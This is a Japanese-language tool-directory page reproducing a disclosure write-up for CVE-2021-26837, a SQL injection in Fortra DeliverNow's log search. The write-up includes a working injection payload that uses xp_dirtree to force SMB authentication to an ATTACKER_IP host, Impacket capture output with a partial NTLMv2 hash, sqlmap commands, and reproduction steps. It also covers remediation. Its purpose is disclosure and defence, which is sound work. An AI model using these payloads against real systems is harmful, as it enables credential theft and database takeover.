Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-26837 — CVE-2021-26837 - HelpSystems/Fortra DeliverNow の SearchTextbox パラメータにおけるSQLインジェクション。ペイロード、注釈付きリクエスト、および証拠。1.2.18で修正済み。 | Kitploit
ツール/GitHubGitHub/l0lsec/cve-2021-26837
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテスト
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - HelpSystems/Fortra DeliverNow の SearchTextbox パラメータにおけるSQLインジェクション。ペイロード、注釈付きリクエスト、および証拠。1.2.18で修正済み。

リポジトリを見る
26日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2021-26837

HelpSystems / Fortra DeliverNow におけるSQLインジェクション

DeliverNowのログ検索ページ(/LogGrid.aspx)のSearchTextboxパラメータは、パラメータ化もサーバーサイド検証も行われずにSQL Serverクエリに直接連結されます。また、アプリケーションは生成されたSQL Serverパーサーエラーをそのままユーザーに表示していたため、これが最初にこのバグが顕在化した経路となりました。

データベース接続はsaで実行されていたため、このインジェクションはインスタンスに対する完全なsysadmin権限を継承していました。これにより、攻撃者が制御するUNCパスに対してmaster.dbo.xp_dirtreeを呼び出し、SQL Serverサービスアカウントに外部への認証を強制することが可能でした。

内部ペネトレーションテスト中に発見されました。ベンダーによりDeliverNow 1.2.18で修正され、CVE-2021-26837として公開されています。

Show Up Show Out SecurityのSedric Louissaint氏によって発見および報告されました。


概要

CVECVE-2021-26837
製品DeliverNow(HelpSystems、現Fortra)
影響を受けるバージョン1.2.18より前(当初のアドバイザリでは1.2.18以前と記載)
脆弱性CWE-89: SQLインジェクション
CVSS 3.1(NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2(研究者)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
公開日2023-09-19
テスト環境Windows Server 2019 Datacenter 10.0 (x64)、SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

NVDの説明:

Fortra(旧HelpSystems)DeliverNow 1.2.18より前のバージョンにおけるSearchTextBoxパラメータのSQLインジェクション脆弱性により、攻撃者が任意のコードを実行し、権限を昇格させ、機密情報を取得することが可能です。

技術的詳細

インジェクションポイント

POST /LogGrid.aspx、ボディパラメータSearchTextbox。このフォームはアプリケーションのログビューにある検索コントロールです。ddlFieldNameで検索対象の列を選択し(以下のリクエストではDescription)、SearchTextboxが検索語を保持します。

シングルクォート1つで証明できます:

root@kitploit:~
blah'

レスポンスはSQL Serverパーサーエラーをページ内に直接表示します:

root@kitploit:~
Info: 文字列 '' の前後に終了引用符がありません。' の付近に不適切な構文があります。

閉じられていない引用符エラーを返すログ検索

このエラー開示自体が単独の脆弱性です。これにより、盲目的インジェクションだったものが完全に対話型のインジェクションに変わります。

xp_dirtreeによる帯域外確認

接続がsaで実行されているため、master.dbo.xp_dirtreeが利用可能です。これを自分が制御するホスト上のUNCパスに向けると、SQL ServerサービスアカウントがSMB経由でそのホストに対して外部認証を行います:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

検索ボックスに入力されたペイロード

完全なリクエストはpoc/exploited-request.http、ペイロードはpoc/payloads.sqlにあります。

悪用されたHTTPリクエスト

認証情報のキャプチャ

Impacketのsmbserver.pyを待ち受け状態にすると、ターゲットのSQL Serverサービスアカウントが認証を行い、NTLMv2ハッシュを漏洩させます:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Impacketでキャプチャされた強制認証

このハッシュはオフラインでのクラッキングや、別のホストへのNTLMリレーに使用できます。

権限コンテキスト

sqlmapがインジェクションと権限レベルを確認します:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

現在のユーザーがsaであることを示すsqlmap列挙

saであるということは、インスタンス上のすべてのログインハッシュが読み取り可能であり、xp_cmdshellはsp_configureの呼び出し1つでホスト上でのコマンド実行が可能になることを意味します。

再現手順

自分が所有する、またはテストを許可されたラボ環境のインスタンスに対して:

  1. DeliverNowのWeb UI(デフォルトではhttp://<host>:1080/)にブラウザでアクセスし、ログを開きます。
  2. 検索ボックスにblah'を入力して送信します。脆弱なビルドではSQL Serverパーサーエラーがページ内に表示されます。
  3. ターゲットが到達可能なホストでリスナーを起動します:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. poc/payloads.sqlのxp_dirtreeペイロードを、自分のIPアドレスに置き換えて送信します。脆弱なビルドではSQL ServerサービスアカウントからのインバウンドSMB認証が発生します。
  5. 必要に応じて、保存済みリクエストを使用してsqlmapで確認します:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

リポジトリの内容

root@kitploit:~
poc/
  payloads.sql            SearchTextbox用の検出および帯域外ペイロード
  exploited-request.http  sqlmap -r で使用できる完全なPOSTリクエスト
  sqlmap.md               sqlmapの実行コマンドと期待される出力
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

キャプチャ内のホストとハッシュは元のエンゲージメント時のものであり、現在は使用されていません。再現時には自分のリスナーアドレスに置き換えてください。

修復策

  1. ユーザー入力から構築されるすべてのクエリにパラメータ化クエリ/プリペアドステートメントを使用する。 これが実際の修正です。その他はすべて防御の深耕です。
  2. サーバーサイドで検証およびサニタイズする。 POSTボディはクライアントサイドのフォームが許可する内容に関係なく、完全に攻撃者が制御可能です。
  3. saとして接続するのをやめる。 アプリケーションが必要なのは自身のテーブルへの読み書きアクセスです。sysadminやxp_dirtreeは必要ありません。最小権限の原則はインジェクション自体は防げませんでしたが、影響を封じ込めることはできたはずです。
  4. データベースエラーをユーザーに表示しない。 サーバーサイドでログに記録し、一般的なメッセージを返してください。
  5. データベースサーバーからの外部SMBをネットワーク境界で制限する。 これにより、ここで使用された帯域外チャネルが排除されます。

ベンダーによりDeliverNow 1.2.18で修正済みです。アップグレードしてください。

タイムライン

日付出来事
2021内部ペネトレーションテスト中に発見され、HelpSystemsに報告
2021DeliverNow 1.2.18で修正
2023-09-19CVE-2021-26837がNVDに公開され、9.8 Criticalとスコアリング

関連情報

  • 個人ブログ: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

免責事項

ベンダーによる修正後に公開されたもので、防御および教育目的です。ここにあるペイロードは何年も前にパッチが適用されたバージョンを対象としています。自分が所有していない、または書面によるテストの許可を得ていないシステムに対しては実行しないでください。

ツールをダウンロード